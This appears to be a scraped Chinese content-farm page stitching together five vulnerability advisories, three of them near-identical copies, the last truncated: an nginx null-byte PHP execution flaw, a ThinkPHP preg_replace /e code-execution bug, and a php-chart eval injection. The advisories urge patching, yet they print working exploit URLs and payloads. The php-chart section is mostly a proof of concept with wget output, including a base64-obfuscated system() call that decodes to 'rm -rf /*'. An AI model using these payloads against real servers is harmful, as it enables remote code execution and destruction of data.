Nginx %00空字节执行任意代码(php)漏洞漏洞预警

时间:2025-01-17 03:35:59 作者:linda2009 综合材料 收藏本文 下载本文

【导语】“linda2009”通过精心收集,向本站投稿了5篇Nginx %00空字节执行任意代码(php)漏洞漏洞预警,下面就是小编给大家带来的Nginx %00空字节执行任意代码(php)漏洞漏洞预警,希望能帮助到大家!

篇1:Nginx %00空字节执行任意代码(php)漏洞漏洞预警

Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码

影响版本:

nginx 0.5.*

nginx 0.6.*

nginx 0.7 <= 0.7.65

nginx 0.8 <= 0.8.37

In vulnerable versions of nginx, null bytes are allowed in URIs by default (their presence is indicated via a variable named zero_in_uri defined in ngx_http_request.h).

Individual modules have the ability to opt-out of handling URIs with null bytes. However, not all of them do; in particular, the FastCGI module does not.

一.老肉鸡变新肉鸡

大家应该还记得80sec发的nginx文件类型错误解析漏洞吧

www.80sec.com/nginx-securit.html

漏洞的利用方式是:

/test.jpg/x.php

临时解决方案是:

if ( $fastcgi_script_name ~ \\..*\\/.*php ) {

return 403;

}

而新漏洞的利用方式是:

/test.jpg%00.php

对应fastcgi_script_name的匹配正则,我们会发现是匹不到这个漏洞的,所以非常杯具,以前被老nginx漏洞黑过的肉鸡还能被重新黑一次,

Nginx %00空字节执行任意代码(php)漏洞漏洞预警

二.准确识别这个漏洞的方法.

一般这个漏洞需要在能够上传文件的应用中才能被利用,所以论坛首当其冲,象discuz论坛的两个文件就能非常方便的识别这个漏洞。

1.爆出PHP语法错误。

2.吃掉CGI #注释的第一行。

<*参考

nealpoole.com/blog/2011/07/possible-arbitrary-code-execution-with-null-bytes-php-and-old-versions-of-nginx/

解决方法:升级Nginx

篇2:ThinkPHP framework 任意代码执行漏洞预警漏洞预警

ThinkPHP是一个国内使用很广泛的老牌PHP MVC框架,貌似国内有不少创业公司或者项目都用了这个框架。

最近官方发布了一个安全补丁,官方表述是:该URL安全漏洞会造成用户在客户端伪造URL,执行非法代码。

可是貌似大多数开发者和使用者并没有注意到此漏洞的危害性,应者了了,更不用说有多少人去升级了。随后我对其进行了分析,发现此问题果然是一个非常严重的问题,只要使用了thinkphp框架,就可以直接执行任意php代码。特此发帖预警各位。

我们来分析一下官方的补丁:

/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php

125 - $res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\\/]+)@e', '$var[\\'\\\\1\\']=“\\\\2”;', implode($depr,$paths));

125 + $res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\\/]+)@e', '$var[\\'\\\\1\\']=\\'\\\\2\\';', implode($depr,$paths));

这个代码是把pathinfo当作restful类型url进行解析的,主要作用是把pathinfo中的数据解析并合并到$_GET数组中,

然而在用正则解析pathinfo的时候,主要是这一句:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\\/]+)@e', '$var[\\'\\\\1\\']=“\\\\2”;', implode($depr,$paths));

这里明显使用了preg_replace的/e参数,这是个非常危险的参数,如果用了这个参数,preg_replace第二个参数就会被当做php代码执行,作者用这种方式在第二个参数中,利用PHP代码给数组动态赋值。

'$var[\\'\\\\1\\']=“\\\\2”;'

而这里又是双引号,而双引号中的php变量语法又是能够被解析执行的。因此,攻击者只要对任意一个使用thinkphp框架编写的应用程序,使用如下方式进行访问,即可执行任意PHP代码:

index.php/module/action/param1/${@print(THINK_VERSION)}

由于是双引号执行,这里为了保险起见,不给出更有危害性的代码,利用这个还是需要点技巧的。

总之这个问题非常严重,找了一下,发现目前没有修补漏洞的网站还是很多的。而ThinkPHP框架的特征其实非常好识别,有意者直接写个scanner进行扫描也未必不可能。

为了不造成更大损失,特地发帖希望引起各位使用thinkphp做开发的同学关注。尽早升级官方的安全补丁

作者:GaRY

篇3:ThinkPHP framework 任意代码执行漏洞预警

最近官方发布了一个安全补丁,官方表述是:该URL安全漏洞会造成用户在客户端伪造URL,执行非法代码

ThinkPHP是一个国内使用很广泛的老牌PHP MVC框架,

ThinkPHP framework 任意代码执行漏洞预警

。貌似国内有不少创业公司或者项目都用了这个框架。

最近官方发布了一个安全补丁,官方表述是:该URL安全漏洞会造成用户在客户端伪造URL,执行非法代码。

可是貌似大多数开发者和使用者并没有注意到此漏洞的危害性,应者了了,更不用说有多少人去升级了。随后我对其进行了分析,发现此问题果然是一个非常严重的问题,只要使用了thinkphp框架,就可以直接执行任意php代码。特此发帖预警各位。

我们来分析一下官方的补丁:

/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php

复制代码

代码如下:

125 - $res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\\/]+)@e', '$var[\\'\\\\1\\']=“\\\\2”;', implode($depr,$paths));

125 + $res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\\/]+)@e', '$var[\\'\\\\1\\']=\\'\\\\2\\';', implode($depr,$paths));

这个代码是把pathinfo当作restful类型url进行解析的,主要作用是把pathinfo中的数据解析并合并到$_GET数组中,

然而在用正则解析pathinfo的时候,主要是这一句:

复制代码

代码如下:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\\/]+)@e', '$var[\\'\\\\1\\']=“\\\\2”;', implode($depr,$paths));

这里明显使用了preg_replace的/e参数,这是个非常危险的参数,如果用了这个参数,preg_replace第二个参数就会被当做php代码执行,作者用这种方式在第二个参数中,利用PHP代码给数组动态赋值。

复制代码

代码如下:

'$var[\\'\\\\1\\']=“\\\\2”;'

而这里又是双引号,而双引号中的php变量语法又是能够被解析执行的。因此,攻击者只要对任意一个使用thinkphp框架编写的应用程序,使用如下方式进行访问,即可执行任意PHP代码:

复制代码

代码如下:

index.php/module/action/param1/${@print(THINK_VERSION)}

由于是双引号执行,这里为了保险起见,不给出更有危害性的代码,利用这个还是需要点技巧的。

总之这个问题非常严重,找了一下,发现目前没有修补漏洞的网站还是很多的。而ThinkPHP框架的特征其实非常好识别,有意者直接写个scanner进行扫描也未必不可能。

为了不造成更大损失,特地发帖希望引起各位使用thinkphp做开发的同学关注。尽早升级官方的安全补丁

作者:GaRY

篇4:ThinkPHP framework 任意代码执行漏洞预警

ThinkPHP是一个国内使用很广泛的老牌PHP MVC框架,貌似国内有不少创业公司或者项目都用了这个框架。

最近官方发布了一个安全补丁,官方表述是:该URL安全漏洞会造成用户在客户端伪造URL,执行非法代码。

可是貌似大多数开发者和使用者并没有注意到此漏洞的危害性,应者了了,更不用说有多少人去升级了。随后我对其进行了分析,发现此问题果然是一个非常严重的问题,只要使用了thinkphp框架,就可以直接执行任意php代码。特此发帖预警各位。

我们来分析一下官方的补丁:

/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php

复制代码

篇5:利用本地包含漏洞执行任意代码漏洞预警

影响程序: php-chart_v1.0

程序官方: php-charts.com/

缺陷类型: PHP Code Execution.

===============================================================

测试平台系统: Debian squeeze 6.0.6

服务器软件版本: Apache/2.2.16 (Debian)

PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli) (built: Aug 6 2012 20:08:59)

Copyright (c) 1997-2009 The PHP Group

Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies

with Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH

================================================================

关于程序介绍:

Php-Charts is basically a class which can be used to generate

different charts(Bar, Pie, Doughnut etc.) in different format(PDF, PNG, JPG, HTML)

using different data source(csv, xml, MySQL, MS Sql, MS Access, PostgreSql,

user defined data).

================================================================

缺陷分析

root@debian:/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard# cat url.php

require(“../lib/phpchart.class.php”);

$color_var=array(“txt_col”,“line_col”,“bg_color”);

$cname=$_GET[“type”];

$chart=new PHPChart($cname);

foreach($_GET as $key=>$value)

{

if($value!=“”)

{

if(in_array($key,$color_var))

eval('$chart->'.$key.'=“#'.$value.'”;');

else if($value=='yes')

eval('$chart->'.$key.'=true;');

else if($value=='no')

eval('$chart->'.$key.'=false;');

else if(is_numeric($value))

eval('$chart->'.$key.'='.$value.';');

else

eval('$chart->'.$key.“='”.$value.“';”);

}

}

$chart->genChart();

利用:

root@debian:/tmp# wget ' www.myhack58.com //wp/chart/chart/wizard/url.php?${var_dump($_SERVER)}=IZABEKAILOVEYOUBABY' -O out.txt && cat out.txt

--2013-01-15 21:19:16-- hacker1.own//wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY

Resolving hacker1.own... 127.0.0.1

Connecting to hacker1.own|127.0.0.1|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: unspecified [text/html]

Saving to: “out.txt”

[ <=>                                            ] 1,917   --.-K/s in 0s

2013-01-15 21:19:17 (8.56 MB/s) - “out.txt” saved [1917]

Notice: Undefined index: type in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php on line 4

array(28) {

[“DOCUMENT_ROOT”]=>

string(28) “/etc/apache2/htdocs/hacker1/”

[“GATEWAY_INTERFACE”]=>

string(7) “CGI/1.1”

[“HTTP_ACCEPT”]=>

string(3) “*/*”

[“HTTP_CLIENT_IP”]=>

string(9) “127.0.0.1”

[“HTTP_HOST”]=>

string(11) “hacker1.own”

[“HTTP_USER_AGENT”]=>

string(21) “Wget/1.12 (linux-gnu)”

[“HTTP_VIA”]=>

string(77) “http/1.0 debian[FE800000000000000A0027FFFE077FC6] (ApacheTrafficServer/3.2.0)”

[“HTTP_X_FORWARDED_FOR”]=>

string(9) “127.0.0.1”

[“PATH”]=>

string(4) “/bin”

[“PHPRC”]=>

string(14) “/etc/php5/cgi/”

[“QUERY_STRING”]=>

string(45) “$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY”

[“REDIRECT_STATUS”]=>

string(3) “200”

[“REMOTE_ADDR”]=>

string(9) “127.0.0.1”

[“REMOTE_PORT”]=>

string(5) “60830”

[“REQUEST_METHOD”]=>

string(3) “GET”

[“REQUEST_URI”]=>

string(76) “/wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY”

[“SCRIPT_FILENAME”]=>

string(57) “/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php”

[“SCRIPT_NAME”]=>

string(30) “/wp/chart/chart/wizard/url.php”

[“SERVER_ADDR”]=>

string(9) “127.0.0.1”

[“SERVER_ADMIN”]=>

string(21) “webmaster@hacker1.own”

[“SERVER_NAME”]=>

string(11) “hacker1.own”

[“SERVER_PORT”]=>

string(2) “80”

[“SERVER_PROTOCOL”]=>

string(8) “HTTP/1.1”

[“SERVER_SIGNATURE”]=>

string(0) “”

[“SERVER_SOFTWARE”]=>

string(6) “Apache”

[“UNIQUE_ID”]=>

string(24) “UPYOJH8AAQEAAE8eNfMAAAAC”

[“PHP_SELF”]=>

string(30) “/wp/chart/chart/wizard/url.php”

[“REQUEST_TIME”]=>

int(1358302756)

}

Notice: Undefined variable: in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1

Fatal error: Cannot access empty property in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1

root@debian:/tmp#

Example 2:

hacker1.own//wp/chart/chart/wizard/url.php?&123&${var_dump(system(base64_decode(cm0gLXJmIC8q)))}=123456LoL

=====================ENDS HERE============================

ewebeditor(PHP) Ver 3.8 任意文件上传0day漏洞预警

DirCMS 任意文件读取0day漏洞预警

规章制度执行有漏洞

漏洞整改报告

Shopv8 商城系统 v12.07 Cookies 注入漏洞漏洞预警

micecms一个鸡肋漏洞及修复 附EXP漏洞预警

EasyTalk 微博本地文件包含漏洞漏洞预警

Andys PHP Knowledgebase 0.95.4 SQL注入漏洞及修复

漏洞Sun Solaris AT 指令可删除任意系统文件

FFFtp目录遍历漏洞可向任意位置写文件

Nginx %00空字节执行任意代码(php)漏洞漏洞预警(整理5篇)

欢迎下载DOC格式的Nginx %00空字节执行任意代码(php)漏洞漏洞预警,但愿能给您带来参考作用!
推荐度: 推荐 推荐 推荐 推荐 推荐
点击下载文档 文档为doc格式
点击下载本文文档